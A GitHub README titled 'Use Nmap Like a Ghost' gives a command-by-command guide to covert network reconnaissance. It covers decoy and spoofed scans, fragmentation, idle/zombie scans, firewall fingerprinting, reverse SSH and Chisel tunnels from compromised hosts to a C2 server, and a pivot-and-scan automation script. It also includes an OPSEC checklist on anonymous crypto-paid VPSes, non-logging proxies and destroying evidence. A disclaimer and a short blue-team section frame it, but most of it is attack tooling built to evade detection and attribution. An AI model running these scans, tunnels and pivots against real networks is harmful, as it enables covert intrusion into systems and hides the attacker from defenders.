Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 

Repository files navigation

Use Nmap Like a Ghost

The Operator's Guide to Stealth Reconnaissance

Covert scanning techniques for firewall evasion, TCP/IP fingerprint masking, and proxy-chained internal reconnaissance.


Legal Disclaimer

This guide is for educational and authorized security testing purposes only. Use of these techniques against systems without explicit written permission is illegal. The author assumes no responsibility for misuse.


Table of Contents


Operational Philosophy

A default Nmap scan announces itself. The SYN packet timing is predictable, the TCP options are fingerprinted, the user-agent is hardcoded, and the port sequence is linear. Every mature SIEM has signatures for this.

Operating covertly means treating every packet as a forensic event. The goal is not to be invisible — nothing on a wire is invisible — but to be indistinguishable from noise. Slow, fragmented, sourced from unexpected ports, routed through disposable infrastructure, and timed to match baseline traffic patterns. If blue team reviews the logs, they should see nothing worth escalating.

The techniques below are organized by capability, not difficulty. Some are trivial to execute but devastating against poorly tuned defenses. Others require infrastructure setup but provide near-total attribution masking. The operator's skill is knowing which combination fits the target's posture.


Evasion & Obfuscation

Every layer of the TCP/IP stack can be manipulated. The more layers you alter, the harder it becomes for signature-based detection to classify your traffic. The tradeoff is reliability: aggressive obfuscation can cause probes to be dropped by intermediate routers or the target kernel itself.

Source Obfuscation

Technique Command What It Does
Decoy Flood nmap -sS -Pn -D RND:8,ME -p22,80,443 target-ip Injects 8 random decoy IPs alongside your real scan. Target sees 9 sources; attribution becomes a log-correlation nightmare. Use RND:n for random decoys or specify explicit IPs for controlled attribution misdirection. Position ME anywhere in the list to control where your real probe appears.
Spoofed Source IP sudo nmap -e eth0 -Pn -S 10.10.0.254 target-ip Fakes the source address. Responses route to the spoofed IP, not to you — so this is only useful for one-way probes or when combined with an idle zombie that receives the responses. Without a response path, you get no results.
MAC Spoofing nmap --spoof-mac Cisco target-ip Randomized or vendor-specific MAC address. Use vendor prefixes (Cisco, Apple, Intel) to blend with the local segment's hardware profile, or 0 for fully random. Essential when scanning from a machine that has previously touched the target's layer-2 domain.
Source Port Pinning nmap -sS -Pn -g 53 target-ip Originates probes from a fixed source port. Port 53 (DNS) is the classic choice — many firewalls have permissive inbound rules for DNS traffic. Also effective: 80 (HTTP), 443 (HTTPS), 123 (NTP), 25 (SMTP). Test which ports pass through the firewall before committing to a full scan.
Proxy Relay (Built-in) nmap -sS -Pn --proxies socks4://127.0.0.1:9050 target-ip Routes Nmap's own connections through a SOCKS4 proxy. Note: this only proxies NSE and version detection connections — raw packet scans still use the direct interface. Combine with proxychains for full TCP connect scans through the proxy.
Interface Binding nmap -sS -Pn -e tun0 target-ip Forces traffic through a specific interface. Useful when you have multiple NICs, VPN tunnels, or want to ensure packets exit through a particular route.

Packet-Level Evasion

Technique Command What It Does
Fragmentation nmap -sS -p 80 -f target-ip Splits the TCP header across 8-byte IP fragments. Most IDS engines have a fragment reassembly timeout; if your fragments arrive slower than the timeout window, the IDS drops the incomplete datagram while the target kernel successfully reassembles it.
Double Fragmentation nmap -sS -p 80 -ff target-ip 16-byte fragments. Even more aggressive. Some routers drop fragments this small — test against your target path first.
MTU Slicing nmap -sS -p 80 --mtu 16 target-ip Fragment size = MTU - 20 (IP header overhead). At MTU 16, you get negative-sized fragments and Nmap will refuse. Minimum viable MTU is typically 24 (4-byte fragments). At 48, you get 28-byte fragments. Tune this to the smallest value that still transits the path.
TTL Manipulation nmap -sS -Pn --ttl 128 target-ip Overrides the default TTL (usually 64 on Linux). Match the target's OS: Windows = 128, Linux = 64, Cisco IOS = 255, Solaris = 255. TTL mismatches trigger anomaly detection. When scanning through tunnels, account for the extra hop decrements.
Bad Checksum nmap -sS -Pn --badsum -F target-ip Deliberately corrupts TCP checksums. Modern TCP stacks silently drop these, but some IDS/IPS and legacy firewalls still process and log them — revealing the presence of a detection layer without triggering alerts. Useless for actual port discovery; purely a counter-IDS probe.
Data-Length Padding nmap -sS -Pn --data-length 256 target-ip Appends random payload bytes to every probe. Default Nmap SYN probes are 44 bytes (20 IP + 24 TCP with options). Signature-based IDS looks for exactly this size. Padding to 256+ bytes makes your probes look like legitimate data packets.
IP Options Injection nmap -sS -Pn --ip-options "R" target-ip Injects IP options like Record Route (R), Loose Source Routing (L), Strict Source Routing (S), or Timestamp (T). Most networks drop IP options — but some internal segments pass them, creating a fingerprinting opportunity.
Randomized Scan Order nmap -sS -Pn --randomize-hosts -p22,80,443,445,3389 target-subnet Randomizes target order within the subnet. Sequential .1 .2 .3 .4 scanning is a trivial heuristic trigger. Randomization forces the defender to correlate across a longer time window.
Scan Delay nmap -sS -Pn -T2 --scan-delay 3s --max-scan-delay 10s target-ip Artificially paces probes. A 3-10 second randomized inter-probe delay makes traffic indistinguishable from idle keepalives on a moderately busy segment. Combine with --max-scan-delay for jitter.
DNS Proxying nmap -sS -Pn --dns-servers 8.8.8.8,1.1.1.1 target-ip Forces DNS resolution through specific resolvers. Prevents your local DNS server from logging Nmap's reverse lookups. Combine with -n to disable DNS entirely when you don't need hostnames.

HTTP-Layer Evasion

The Nmap Scripting Engine sends HTTP requests with a hardcoded User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; ...) header. This is an immediate, high-fidelity detection signature. Every HTTP-capable NSE script exposes this unless you override it.

Technique Command
Custom User-Agent nmap -sV -Pn --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" target-ip
HTTP Pipelining nmap -sV -Pn --script-args http.pipeline=20 target-ip
Host Header Override nmap -sV -Pn --script-args http.host="cdn.cloudfront.net" target-ip
Referer Spoofing nmap --script http-enum --script-args http.referer="https://www.google.com/search?q=target+company" target-ip
Cookie Injection nmap --script http-enum --script-args http.cookie="session=legitimate-looking-token" target-ip
Full Header Spoofing Combine all of the above in a single scan invocation to present a complete, internally consistent browser profile.

Pull fresh user-agent strings from UserAgents.io. Rotate user-agents between scan sessions. Match the user-agent to the target's expected client profile — Windows/Chrome for corporate targets, iOS/Safari for mobile-oriented services, Android/Chrome for broad consumer-facing apps.


TCP Flag Manipulation

RFC 793 specifies that closed ports MUST respond to non-SYN probes with RST, while open ports MUST silently drop them. This behavior is the foundation of all stealth scanning. Exploiting it requires understanding which operating systems actually comply with the RFC (most UNIX derivatives do; Windows does not for certain flag combinations).

Scan Flags Command OS Behavior
SYN (Half-Open) SYN sudo nmap -sS target-ip Universal. SYN sent; if SYN/ACK received, RST immediately — the handshake never completes. Application never sees the connection. Logged by most kernels but at a lower severity than full connects.
NULL None sudo nmap -sN target-ip No flags set. Linux/BSD: closed port returns RST, open port is silent. Windows (all versions): responds with RST regardless of port state — NULL scan against Windows is useless. Cisco IOS: inconsistent, test first.
FIN FIN sudo nmap -sF target-ip Same RFC behavior as NULL but with FIN set. Less signature-prone than NULL because FIN packets occur in normal connection teardown. Still fails against Windows (always returns RST). Effective against Linux, BSD, macOS, Solaris, and most embedded Linux stacks.
Xmas FIN+PSH+URG sudo nmap -sX target-ip Three flags set simultaneously — an impossible combination in legitimate TCP. Many IDS have explicit signatures for this exact flag triplet. Use custom flag combinations instead if you suspect signature-based detection. Same OS limitations as NULL/FIN.
Maimon FIN+ACK sudo nmap -sM target-ip Discovered by Uriel Maimon in 1996. BSD-derived stacks (FreeBSD, OpenBSD, macOS) drop these regardless of port state — scan yields all `open
Custom Flags Arbitrary sudo nmap --scanflags RSTSYNFIN target-ip Define your own flag combination with --scanflags. Mix URG, ACK, PSH, RST, SYN, FIN in any combination. No pre-existing IDS signature exists for random flag sets. The behavior of targets against arbitrary flag combinations is poorly documented — test and map responses before relying on results.
Custom Flags + Timing Arbitrary sudo nmap --scanflags SYNACK -T1 --scan-delay 10s --max-retries 0 target-ip Combine custom flags with paranoid timing to produce traffic that matches no known signature and arrives too slowly to trigger rate-based heuristics.

Idle Scan (Zero-Footprint Reconnaissance)

The idle scan is the gold standard for attribution-free port scanning. Your IP address never appears in any target log. The technique exploits predictable IP Identification (IP ID) field incrementation on a zombie host.

Your Machine                    Zombie (10.10.5.5)                Target (target-ip)
     |                               |                                |
     |-- SYN/ACK (probe zombie) ---->|                                |
     |<-------- RST (IP ID=31337) ---|                                |
     |                               |                                |
     |-- Spoofed SYN (from zombie) ---------------------------------> |
     |                               |                                |
     |                               |<---- SYN/ACK (if port open) ---|
     |                               |---- RST (IP ID increments) --->|
     |                               |                                |
     |-- SYN/ACK (probe zombie) ---->|                                |
     |<-------- RST (IP ID=31339) ---|                                |
     |                               |                                |
     | IP ID incremented by 2 = port was OPEN                         |

If the IP ID increased by 1 between probes: no response from target, port likely closed/filtered. If the IP ID increased by 2: zombie sent a RST to the target's SYN/ACK, port is open.

# Identify a zombie candidate (needs predictable, incremental IP ID)
sudo nmap -Pn -p80,135,443 --script ipidseq 10.10.0.0/24

# Execute idle scan
sudo nmap -sI 10.10.5.5 -Pn -p22,80,443,445,3389 target-ip

Zombie requirements:

  • Idle (minimal background traffic — IP ID noise destroys scan accuracy)
  • Incremental IP ID (global counter, not randomized or per-host)
  • Reachable and responsive from your position
  • Ideally on a different subnet than the target

Good zombie candidates: Old network printers (HP LaserJet with JetDirect), IP cameras, unmanaged switches with web interfaces, legacy IoT devices. These often have incremental IP ID counters and near-zero background traffic.

Bad zombie candidates: Modern Windows (randomized IP ID since Vista), busy web servers, any host running active services that generate outbound traffic.

# Zombie validation scan — check IP ID sequence predictability
sudo nmap -Pn -p80 --script ipidseq 10.10.5.5
# Look for "Incremental" in the output. "All zeros", "Random", or "Random positive increments" = bad zombie.

Firewall & IDS Fingerprinting

These techniques map the defensive perimeter — they tell you what the firewall allows, what it drops, and whether there's an IDS/IPS inline. They do not discover open ports on the target; they discover the ruleset protecting the target.

Technique Command What It Reveals
ACK Scan sudo nmap -sA -p22,80,443,3389 target-ip Sends ACK packets (no SYN). If the target responds with RST: the port is unfiltered — the packet reached the host. If no response or ICMP unreachable: the port is filtered by a stateful firewall that blocks unsolicited ACKs. This is the single most useful firewall mapping technique.
Window Scan sudo nmap -sW -p22,80,443 target-ip Like ACK scan but inspects the TCP Window field in RST responses. Some BSD and older Linux kernels set different window sizes for open vs. closed ports. Inconsistent across stacks — treat results as hints, not ground truth. Most useful against legacy Solaris and older FreeBSD versions.
IP Protocol Scan sudo nmap -sO target-ip Enumerates which IP protocol numbers the target responds to. ICMP (1), IGMP (2), GRE (47), ESP (50), AH (51) — if these return responses, the target has tunnel endpoints, VPN concentrators, or routing daemons listening. Not a port scan; a protocol-level scan at the IP layer.
IP ID Analysis sudo nmap -Pn -p80 --script ipidseq --script-args probeport=443 target-ip Characterizes the target's IP ID generation algorithm. Incremental = older OS, predictable. Randomized = modern OS (Windows Vista+, OpenBSD, Linux 5.x+ with randomization enabled). Zero = embedded/broken stack. This tells you whether the target can be used as a zombie for idle scans.
Firewalk sudo nmap --script firewalk --script-args firewalk.max-probed-ports=10 -p22,80,443 target-ip NSE script that probes a target behind a firewall by manipulating TTL. Sends packets with TTL set to expire one hop past the firewall — if the firewall allows the traffic, the next-hop router sends ICMP TTL exceeded. Maps which ports the firewall forwards vs. drops.
Spoofed Firewalk sudo nmap --script firewalk --script-args firewalk.recv-timeout=1000 -e eth0 -S 10.0.0.1 -p80,443 target-ip Combine firewalk with a spoofed source IP to probe firewall rules without revealing your real address.
Fragment Reassembly Detection sudo nmap -sS -f -p80 target-ip && sudo nmap -sS -p80 target-ip Run the same port scan fragmented and unfragmented. If results differ (unfragmented shows open, fragmented shows filtered), an IDS/IPS or firewall is failing to reassemble fragments. You now know fragmentation is an effective evasion vector against this target.

Timing Micro-Control

Timing templates (-T0 through -T5) are presets that control six underlying parameters. For covert operations, you need granular control over each parameter individually. The templates are too coarse — -T2 might still be too fast for one target and too slow for another.

Template Presets

Template scan_delay max_scan_delay min_rtt_timeout max_rtt_timeout max_parallelism max_retries
-T0 (Paranoid) 5m N/A 100s 300s 1 0
-T1 (Sneaky) 15s N/A 15s 15s 1 0
-T2 (Polite) 0.4s 1s 1s 10s 1 0
-T3 (Normal) 0s 1s 1s 10s 0 0
-T4 (Aggressive) 0s 1s 0.5s 2.5s 0 0
-T5 (Insane) 0s 0.3s 0.3s 1.25s 0 0

Granular Timing Control

# Covert sweep: slow, single-threaded, randomized delay, zero retries
sudo nmap -sS -Pn -n \
  --scan-delay 5s \
  --max-scan-delay 30s \
  --min-hostgroup 1 \
  --max-hostgroup 1 \
  --max-retries 0 \
  --max-rtt-timeout 5000ms \
  --min-rtt-timeout 1000ms \
  --initial-rtt-timeout 2000ms \
  --host-timeout 30m \
  -p22,80,443,445,3389 \
  target-subnet

Parameter breakdown:

  • --scan-delay 5s --max-scan-delay 30s — Randomized 5-30 second gap between probes. Defeats rate-based heuristics.
  • --min-hostgroup 1 --max-hostgroup 1 — One host at a time. Prevents parallel scanning patterns.
  • --max-retries 0 — Never retransmit. A dropped probe is lost; retransmission creates a distinct pattern.
  • --max-rtt-timeout 5000ms --min-rtt-timeout 1000ms — Tight RTT window. Avoids hanging on unresponsive hosts.
  • --initial-rtt-timeout 2000ms — Conservative initial timeout. Reduces early retransmissions.
  • --host-timeout 30m — Hard cap per host. Prevents a single unresponsive host from stalling the entire sweep.

Adaptive Timing

# Start fast, degrade to stealth if SYN cookies or rate-limiting detected
sudo nmap -sS -Pn -n \
  -T3 \
  --defeat-rst-ratelimit \
  --defeat-icmp-ratelimit \
  -p- target-ip

The --defeat-rst-ratelimit and --defeat-icmp-ratelimit flags tell Nmap to dynamically reduce scan speed when the target starts rate-limiting responses. This is critical — a target aggressively dropping packets is signaling that your scan is detected, and continuing at full speed ensures logging and escalation.


NSE Scripting for Stealth Operations

The Nmap Scripting Engine is powerful but dangerously noisy by default. Most NSE scripts generate HTTP requests with the default user-agent, perform DNS lookups through your configured resolver, and produce verbose output. For covert operations, you must constrain the engine.

Script Selection Discipline

# Avoid: broad category sweeps that trigger on every port
# nmap --script vuln,exploit,discovery target-ip    <-- NEVER do this

# Prefer: targeted, single-purpose scripts on confirmed open ports
sudo nmap -sS -Pn -p80,443 --script http-enum,http-headers,ssl-enum-ciphers \
  --script-args http.useragent="Mozilla/5.0 ..." target-ip

NSE Argument Files

Instead of passing user-agents and other overrides on the command line every time, maintain an NSE arguments file:

# ~/.nmap/nse-args.conf
http.useragent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
http.host=www.google.com
http.referer=https://www.google.com/
http.pipeline=15
smbdomain=WORKGROUP
smbusername=guest
smbpassword=
# Use with:
sudo nmap -sS -Pn --script http-enum --script-args-file ~/.nmap/nse-args.conf target-ip

High-Value Stealth Scripts

Script Purpose Stealth Notes
http-headers Dump HTTP response headers Single request per port. Low noise. Reveals server, framework, caching layers.
http-methods Enumerate allowed HTTP methods Uses OPTIONS request. Single probe. Reveals PUT/DELETE/PATCH capability.
ssl-enum-ciphers TLS cipher suite enumeration Multiple TLS handshakes but each is small. Reveals weak cipher support.
dns-brute Subdomain brute-force via DNS Generates DNS queries, not direct target traffic. Low target-side visibility.
smb-os-discovery SMB OS fingerprint Single SMB negotiation. High-value, low-noise when port 445 is confirmed open.
banner Generic banner grab Single read after TCP connect. No HTTP signature emitted unless service is HTTP.
ftp-anon Anonymous FTP login check Single login attempt. Trivial to detect but low-priority alert for most SOCs.

Scripts to Avoid in Covert Operations

  • http-sql-injection — Generates hundreds of malicious-looking requests. Immediate WAF trigger.
  • http-brute — Authentication brute-force. Volume alone triggers account lockout and SIEM alarms.
  • broadcast-* — Sends broadcast traffic. Not stealthy by definition.
  • brute-* — Any brute-force script. High volume, high detection probability.
  • vuln-* — Most vulnerability checks generate exploit-like payloads. Unless you specifically need CVE confirmation, avoid.

Proxy Pivoting & Internal Network Scanning

After compromising an edge host or gaining access to a pivot point, all internal reconnaissance must transit through that host. Direct scanning from your machine to the internal subnet is attribution suicide.

Topology Options

Single-hop pivot:

Operator -> SSH Tunnel (SOCKS5) -> VPS -> Target

Fastest. VPS IP is the only address target sees. VPS is disposable — burn it after the engagement.

Double-hop pivot:

Operator -> SSH Tunnel -> VPS -> Residential Proxy -> Target

Adds a residential proxy (Bright Data, IPRoyal, etc.) after the VPS. Target sees a residential ISP IP. Correlation requires subpoenaing both the proxy provider and the VPS host.

Reverse pivot (target-initiated):

Operator <-- Reverse SSH Tunnel <-- Compromised Internal Host -> Internal Subnet

The compromised internal host calls back to your infrastructure, creating a reverse tunnel. You scan the internal subnet through the compromised host without ever sending packets from outside. This is the most operationally secure topology.

Layer 1: SSH Dynamic Tunnel

# Forward tunnel (you connect to VPS)
ssh -fN -D 127.0.0.1:1080 \
  -o ServerAliveInterval=60 \
  -o ExitOnForwardFailure=yes \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  root@vps-ip

# Reverse tunnel (compromised host connects to you)
# On compromised host:
ssh -fN -R 127.0.0.1:2222:127.0.0.1:22 \
  -o ServerAliveInterval=60 \
  -o StrictHostKeyChecking=no \
  user@your-c2-server

# Then on your C2, proxy through the reverse connection:
ssh -fN -D 127.0.0.1:1080 \
  -p 2222 \
  -o StrictHostKeyChecking=no \
  user@127.0.0.1

Layer 2: Proxychains Configuration

/etc/proxychains4.conf:

strict_chain
tcp_read_time_out 15000
tcp_connect_time_out 8000
proxy_dns

[ProxyList]
socks5 127.0.0.1 1080
http proxy.webshare.io 3128 username password

Key settings:

  • strict_chain — Proxies are used in strict order. dynamic_chain skips dead proxies, but the order randomization makes traffic patterns harder to baseline on the defender side.
  • proxy_dns — DNS lookups go through the proxy chain. Without this, your local DNS server logs every hostname Nmap resolves.
  • tcp_read_time_out — Bumped to 15s to handle the added latency of multi-hop proxy chains.

Layer 3: Scanning Through the Chain

# Covert internal sweep
proxychains nmap -sT -Pn -n \
  -T2 --scan-delay 3s --max-scan-delay 10s \
  --max-retries 0 \
  -p22,80,443,445,3389,8080,8443,9001 \
  10.10.10.0/24

# Full port sweep on high-value target
proxychains nmap -sT -Pn -n \
  -p- --min-rate 300 --max-retries 0 \
  --host-timeout 2h \
  target-ip

# Service detection through chain (light intensity)
proxychains nmap -sT -Pn -n \
  -sV --version-intensity 2 --version-light \
  --script-timeout 30s \
  -p22,80,443,445,3389 \
  10.10.10.0/24

Critical constraints when scanning through proxies:

  • -sS (SYN scan) does not work through proxies. SOCKS proxies operate at the session layer — they cannot relay raw IP packets. Always use -sT (TCP Connect).
  • DNS resolution must be disabled (-n) or routed through the proxy (proxy_dns in proxychains config). DNS leaks are a common OPSEC failure.
  • Host discovery (-sn) through proxies is unreliable. Always use -Pn and assume the targets are live.
  • NSE scripts that perform callbacks (e.g., http-shellshock, dns-zone-transfer) may not route through the proxy correctly. Test each script before operational use.

Chisel (Alternative to SSH Tunneling)

SSH tunnels are fingerprintable. For environments where SSH outbound is monitored or blocked, use Chisel — a TCP/UDP tunnel over HTTP with WebSocket transport:

# On VPS (server):
./chisel server -p 443 --reverse --socks5

# On compromised host (client):
./chisel client vps-ip:443 R:socks

Chisel traffic looks like HTTPS WebSocket connections. It blends with normal web traffic when run over port 443 with TLS.

Pivot Automation Script

#!/bin/bash
# Multi-hop Pivot & Scan Automation

VPS="your-vps"
PROXY_HOST="proxy.webshare.io"
PROXY_PORT="3128"
PROXY_AUTH="user:pass"
SUBNET="${1:-10.10.10.0/24}"
PORTS="22,80,443,445,3389,8080,8443"
OUTDIR="./scans/$(date +%Y%m%d_%H%M%S)"
CHAINS="/etc/proxychains4.conf"

cleanup() {
    echo "[*] Tearing down tunnel..."
    pkill -f "ssh -fN -D 127.0.0.1:1080"
}
trap cleanup EXIT

# Create output directory
mkdir -p "$OUTDIR"

# Write proxychains config
cat > "$CHAINS" <<EOF
strict_chain
tcp_read_time_out 15000
tcp_connect_time_out 8000
proxy_dns

[ProxyList]
socks5 127.0.0.1 1080
http $PROXY_HOST $PROXY_PORT $PROXY_AUTH
EOF

# Establish SSH tunnel
echo "[*] Opening SSH tunnel to $VPS..."
ssh -fN -D 127.0.0.1:1080 \
    -o ServerAliveInterval=60 \
    -o ExitOnForwardFailure=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    root@$VPS || exit 1

sleep 2

# Verify exit node
echo "[*] Verifying exit node..."
EXIT_IP=$(proxychains -q curl -s --max-time 15 http://ifconfig.me 2>/dev/null)
if [ -z "$EXIT_IP" ]; then
    echo "[-] Proxy chain verification failed"
    exit 1
fi
echo "[+] Exit IP: $EXIT_IP"

# Phase 1: Quick sweep — common ports
echo "[*] Phase 1: Common port sweep of $SUBNET"
proxychains -q nmap -sT -Pn -n \
    -T2 --scan-delay 2s --max-scan-delay 8s \
    --max-retries 0 --host-timeout 5m \
    -p"$PORTS" "$SUBNET" \
    -oA "$OUTDIR/phase1_common_ports"

# Extract live hosts with open ports
grep -l "open" "$OUTDIR"/phase1_common_ports.gnmap 2>/dev/null | \
    grep -oP '(?<=Host: )\S+' | sort -u > "$OUTDIR/live_hosts.txt"

LIVE_COUNT=$(wc -l < "$OUTDIR/live_hosts.txt" 2>/dev/null || echo 0)
echo "[+] Phase 1 complete: $LIVE_COUNT live hosts found"

# Phase 2: Service detection on live hosts
if [ "$LIVE_COUNT" -gt 0 ]; then
    echo "[*] Phase 2: Service detection on live hosts"
    LIVE_LIST=$(tr '\n' ' ' < "$OUTDIR/live_hosts.txt")
    proxychains -q nmap -sT -Pn -n \
        -sV --version-intensity 2 \
        --script-timeout 20s \
        $LIVE_LIST \
        -oA "$OUTDIR/phase2_service_detect"
    echo "[+] Phase 2 complete"
fi

echo "[+] Operation complete. Output: $OUTDIR"

Operational Workflows

Techniques in isolation are academic. Operators chain them. Below are battle-tested scan workflows for different engagement phases.

Workflow 1: Initial External Reconnaissance

# Goal: Map external attack surface without triggering alerts
# Assumption: You have disposable cloud VPS and a residential proxy

# Step 1: Fragment + decoy + slow — probe for live services
sudo nmap -sS -Pn -n \
  -D RND:6,ME \
  -f --mtu 48 \
  -g 443 \
  --ttl 128 \
  --data-length 64 \
  -T2 --scan-delay 4s --max-scan-delay 15s \
  --randomize-hosts \
  --max-retries 0 \
  -p22,25,53,80,110,143,443,465,587,993,995,1433,1521,3306,3389,5432,6379,8080,8443,9001,27017 \
  -oA recon/external_sweep \
  target-corp.com

# Step 2: ACK scan on discovered hosts — map the firewall
grep "open" recon/external_sweep.gnmap | awk '{print $2}' | sort -u > recon/live_targets.txt
sudo nmap -sA -Pn -n \
  -p22,80,443,445,3389 \
  -oA recon/ack_firewall_map \
  -iL recon/live_targets.txt

# Step 3: Idle scan on high-value ports — zero-footprint verification
# (requires pre-identified zombie)
sudo nmap -sI 10.20.30.40 -Pn -n \
  -p22,443 \
  -oA recon/idle_verify \
  target-corp.com

Workflow 2: Internal Network Enumeration (Post-Compromise)

# Goal: Map internal subnets through a compromised beachhead
# Assumption: SSH reverse tunnel to beachhead is established on localhost:1080

# Step 1: ARP-free internal discovery via proxychains
proxychains -q nmap -sT -Pn -n \
  -T2 --scan-delay 2s \
  --max-retries 0 \
  -p80,443,445,3389,8080 \
  --open \
  -oA internal/arp_free_discovery \
  10.10.0.0/16,192.168.0.0/16,172.16.0.0/16

# Step 2: Extract responsive subnets, sweep deeper
grep "open" internal/arp_free_discovery.gnmap | \
  grep -oP '\b\d+\.\d+\.\d+' | sort -u | \
  while read subnet; do
    echo "[*] Found responsive subnet: ${subnet}.0/24"
    proxychains -q nmap -sT -Pn -n \
      -T2 --scan-delay 3s \
      -p22,80,443,445,135,139,3389,5985,5986 \
      "${subnet}.0/24" \
      -oA "internal/sweep_${subnet}"
  done

# Step 3: SMB enumeration on hosts with 445 open
grep "445/open" internal/sweep_*.gnmap | grep -oP '(?<=Host: )\S+' | sort -u > internal/smb_hosts.txt
proxychains -q nmap -sT -Pn -n \
  -p445 \
  --script smb-os-discovery,smb-enum-shares,smb-enum-users \
  --script-args smbdomain=WORKGROUP,smbusername=guest,smbpassword= \
  -iL internal/smb_hosts.txt \
  -oA internal/smb_enum

Workflow 3: Stealth Web Application Profiling

# Goal: Enumerate web apps without triggering WAF
# Technique: Mimic normal browser traffic at human speed

sudo nmap -sS -Pn -n \
  -g 443 \
  --ttl 128 \
  --data-length 128 \
  -T2 --scan-delay 5s --max-scan-delay 20s \
  --max-retries 0 \
  -p80,443,8080,8443,9090 \
  --open \
  -oA web/port_scan \
  target-corp.com

# For each discovered web port, run minimal fingerprinting
grep "open" web/port_scan.gnmap | awk '{print $2":"$3}' | \
while read target; do
  ip="${target%:*}"
  port="${target##*:}"
  
  echo "[$(date +%H:%M:%S)] Scanning $ip:$port"
  
  sudo nmap -sS -Pn -n \
    -sV --version-intensity 2 \
    -p"$port" \
    --host-timeout 60s \
    --script http-headers,ssl-enum-ciphers \
    --script-args http.useragent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
    "$ip" \
    -oA "web/fingerprint_${ip}_${port}" \
    2>/dev/null
  
  delay=$((30 + RANDOM % 30))
  echo "[*] Sleeping $delay seconds..."
  sleep $delay
done

Output Processing & Correlation

Nmap's output formats (-oN, -oX, -oG, -oA) are designed for single-scan analysis. Operators need to correlate across multiple scans, time windows, and source IPs.

Extracting Live Hosts Across Multiple Scans

# From all grepable outputs in a directory
cat scans/*.gnmap | grep "open" | grep -oP 'Host: \S+' | sort -u | awk '{print $2}' > live_hosts.txt

Port Matrix from Grepable Output

# Build a host:port matrix
for f in scans/*.gnmap; do
    grep "open" "$f" | while read line; do
        host=$(echo "$line" | grep -oP '(?<=Host: )\S+' | awk '{print $1}')
        ports=$(echo "$line" | grep -oP '\d+/open' | cut -d/ -f1 | tr '\n' ',' | sed 's/,$//')
        echo "$host: $ports"
    done
done | sort -u > port_matrix.txt

XML Parsing for Automated Tool Chaining

# Extract all open ports per host in JSON-friendly format
python3 -c "
import xml.etree.ElementTree as ET
import json, sys

tree = ET.parse(sys.argv[1])
root = tree.getroot()
results = {}
for host in root.findall('host'):
    ip = host.find('address').get('addr')
    ports = []
    for port in host.findall('ports/port'):
        pid = port.get('portid')
        proto = port.get('protocol')
        state = port.find('state').get('state')
        svc = port.find('service')
        name = svc.get('name') if svc is not None else 'unknown'
        if state == 'open':
            ports.append({'port': pid, 'protocol': proto, 'service': name})
    if ports:
        results[ip] = ports
print(json.dumps(results, indent=2))
" scans/output.xml > parsed_ports.json

Differential Scanning (Detect Changes Over Time)

# Compare two scan snapshots to find new/closed ports
comm -23 <(grep "open" scan_day1.gnmap | sort) <(grep "open" scan_day2.gnmap | sort) > ports_closed.txt
comm -13 <(grep "open" scan_day1.gnmap | sort) <(grep "open" scan_day2.gnmap | sort) > ports_opened.txt

Operational Security (OPSEC) Checklist

Infrastructure Preparation

  • Provision disposable cloud VPS (payment via cryptocurrency or prepaid card)
  • Acquire residential proxy access from a provider that does not log
  • Verify VPS provider does not require KYC (Know Your Customer) verification
  • Harden the VPS: disable all services except SSH on a non-standard port, configure iptables to drop all inbound except your IP
  • Configure SSH to use key-based authentication only; disable password auth and root login

Pre-Engagement

  • Route through minimum 2 proxy hops before any packet touches target infrastructure
  • Verify exit node IP: proxychains curl -s http://ifconfig.me — confirm it is NOT your real IP, your VPS IP, or any address traceable to you
  • Pin source port to 53, 443, or 123 (-g) to blend with baseline traffic
  • Set timing to T1 or T2 with --scan-delay for sustained stealth
  • Enable 6-8 random decoys (-D RND:6,ME) and randomize host order (--randomize-hosts)
  • Override User-Agent with a current, verified browser fingerprint from UserAgents.io
  • Set TTL to match target OS default (--ttl 128 for Windows, --ttl 64 for Linux)
  • Disable DNS (-n) or route through proxy (proxy_dns in proxychains.conf)
  • Set --max-retries 0 to eliminate retransmission fingerprints
  • Test the full chain against a controlled target (your own server) before going operational

During Engagement

  • Monitor live for ICMP unreachable, TCP RST storms, or SYN cookie activation — any of these mean you've been detected; cease immediately
  • Split large scans across multiple sessions with different decoy sets, source ports, and timing parameters
  • Never run NSE scripts that generate authentication attempts or exploit payloads unless you are prepared for the target to escalate
  • Log everything to -oA with descriptive filenames including timestamps
  • If a scan stalls or times out repeatedly, do not increase speed — the target may be rate-limiting you intentionally
  • Rotate source ports between scan sessions; do not reuse the same pinned port

Post-Engagement

  • Terminate all SSH tunnels: pkill -f "ssh.*-D" and verify with ss -tlnp
  • Flush proxychains DNS cache: rm -f /tmp/proxychains_*
  • Sanitize output filenames — remove target names, IP ranges, and timestamps that correlate to the engagement window
  • Encrypt all scan output at rest: tar czf - scans/ | gpg -c -o scans.tar.gz.gpg
  • Destroy the VPS if it was provisioned specifically for this engagement
  • Rotate residential proxy credentials before the next engagement

Common OPSEC Failures

  1. DNS leak — Forgetting -n or proxy_dns. Your ISP DNS server logs every reverse lookup Nmap performs.
  2. Default user-agent — Running --script http-* without http.useragent. Single-packet detection.
  3. Sequential scanning — Scanning .1, .2, .3 in order. Trivial heuristic trigger.
  4. SYN scan through proxyproxychains nmap -sS silently fails; packets bypass the proxy. Always use -sT through SOCKS.
  5. Retransmission fingerprint — Leaving --max-retries at default (10). Each retransmission doubles the probe's visibility window.
  6. Forgotten tunnel — Leaving SSH tunnels alive after the engagement. Your VPS remains connected, generating logs on both ends.

Detection & Mitigation (For Blue Teams)

Understanding how these techniques are detected is essential for both offense and defense. Every evasion has a corresponding detection opportunity.

Network Signatures

  1. SYN scan asymmetry — High volume of outbound SYN packets with disproportionately few completed three-way handshakes. Normal traffic has a SYN:SYN/ACK ratio close to 1:1. During a SYN scan, it approaches infinity:0.

  2. Decoy correlation — Simultaneous, structurally identical scan patterns from geographically and topologically unrelated IPs. The real scanner is identifiable by micro-timing analysis — decoy packets are injected with slightly different inter-packet delays. Statistical clustering of timing jitter reveals the true source.

